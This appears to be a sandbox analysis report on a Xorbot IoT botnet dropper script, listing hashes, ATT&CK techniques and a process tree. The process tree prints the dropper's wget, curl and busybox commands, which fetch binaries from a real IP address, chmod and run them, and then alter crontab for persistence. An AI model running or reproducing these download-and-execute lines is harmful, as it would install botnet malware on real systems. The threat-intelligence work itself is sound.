xorbot | 5600c839915dc7187cbc973ed14150314c61c0ba5573a7f94953d36eb77c6023

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
03-12-2024 04:09

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General

Target

bins.sh
Size

10KB
MD5

5d0971a556970c74f4cd658bf101cfcd
SHA1

4036ead2200bc75e663115eb6c13de4ef4358d7c
SHA256

5600c839915dc7187cbc973ed14150314c61c0ba5573a7f94953d36eb77c6023
SHA512

03b31e792454caa5dd8d9ec76839878907ca7e4e74b0e4fb698fbb81001fa8eb0033066ef8e69b1947206eebc4f08b24941d63e490118f15aa878d967c32ada0
SSDEEP

96:2+qgBhG8gJdV+wRAJnh0nuncdV+wrRhqrh0nTmaW+qgBhwN8WJ:C8gJj+wRAZ6t+wV5Vi

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmod

pid	Process
1511	chmod
1518	chmod

Executes dropped EXE 2 IoCs

Processes:

Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9CPSxNyZESCdOiZphszjlvWixN54zWtxaBb

ioc	pid	Process
/tmp/Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9	1512	Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
/tmp/CPSxNyZESCdOiZphszjlvWixN54zWtxaBb	1519	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb

Renames itself 1 IoCs

Processes:

CPSxNyZESCdOiZphszjlvWixN54zWtxaBb

pid	Process
1520	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.9oeUuC	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

CPSxNyZESCdOiZphszjlvWixN54zWtxaBb

description	ioc	Process
File opened for reading	/proc/20/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1559/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1080/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1552/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1558/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1174/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1582/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/2/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/164/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/174/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/177/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1495/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1610/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1243/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1560/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1608/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/8/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/17/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/163/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/34/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/260/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1539/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/80/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1600/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1618/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/11/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/355/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1293/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1617/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/30/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/208/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1166/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1578/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1194/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1244/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1569/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/170/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1616/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1561/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1117/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1129/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1540/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1480/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1562/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/98/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/468/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1190/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1026/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1581/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/9/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/35/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/167/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1349/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1550/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1595/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/85/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/165/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/166/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1611/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/16/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/21/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/559/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1092/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
File opened for reading	/proc/1586/cmdline	CPSxNyZESCdOiZphszjlvWixN54zWtxaBb

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetcurlbusyboxwgetcurl

description	ioc	Process
File opened for modification	/tmp/Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9	busybox
File opened for modification	/tmp/CPSxNyZESCdOiZphszjlvWixN54zWtxaBb	wget
File opened for modification	/tmp/CPSxNyZESCdOiZphszjlvWixN54zWtxaBb	curl
File opened for modification	/tmp/CPSxNyZESCdOiZphszjlvWixN54zWtxaBb	busybox
File opened for modification	/tmp/Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9	wget
File opened for modification	/tmp/Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1501
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1502
- /usr/bin/wget
  wget http://216.126.231.240/bins/Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
  2⤵
  - Writes file to tmp directory
  PID:1503
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
  2⤵
  - Writes file to tmp directory
  PID:1508
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
  2⤵
  - Writes file to tmp directory
  PID:1510
- /bin/chmod
  chmod 777 Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
  2⤵
  - File and Directory Permissions Modification
  PID:1511
- /tmp/Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
  ./Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
  2⤵
  - Executes dropped EXE
  PID:1512
- /bin/rm
  rm Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
  2⤵
  PID:1514
- /usr/bin/wget
  wget http://216.126.231.240/bins/CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
  2⤵
  - Writes file to tmp directory
  PID:1515
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
  2⤵
  - Writes file to tmp directory
  PID:1516
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
  2⤵
  - Writes file to tmp directory
  PID:1517
- /bin/chmod
  chmod 777 CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
  2⤵
  - File and Directory Permissions Modification
  PID:1518
- /tmp/CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
  ./CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1519
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1521
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1522
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1523
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1524
- /bin/rm
  rm CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
  2⤵
  PID:1526
- /usr/bin/wget
  wget http://216.126.231.240/bins/X71FbOa72Chz3JKgMoQ96OKKg2LTuncCyr
  2⤵
  PID:1529

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/CPSxNyZESCdOiZphszjlvWixN54zWtxaBb

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/var/spool/cron/crontabs/tmp.9oeUuC

Filesize
210B

MD5
ff4720dc5f4861dc3bf0fcad3cef6b58

SHA1
82dc0e28046976789a21b5efed11b8be654712b3

SHA256
0cba36f187e3ace9c61a1b0d1d7e65639188ebc2267d991aef7b8d89a7ac023e

SHA512
acc2a0098e7db749390cc10d0a8a5fed4bc4027200950d2aafa94c78f2078a7a16a28e93cdf6edecca47deea6a08af129613daa20637178e8dd5751905f47ce2

Download Submit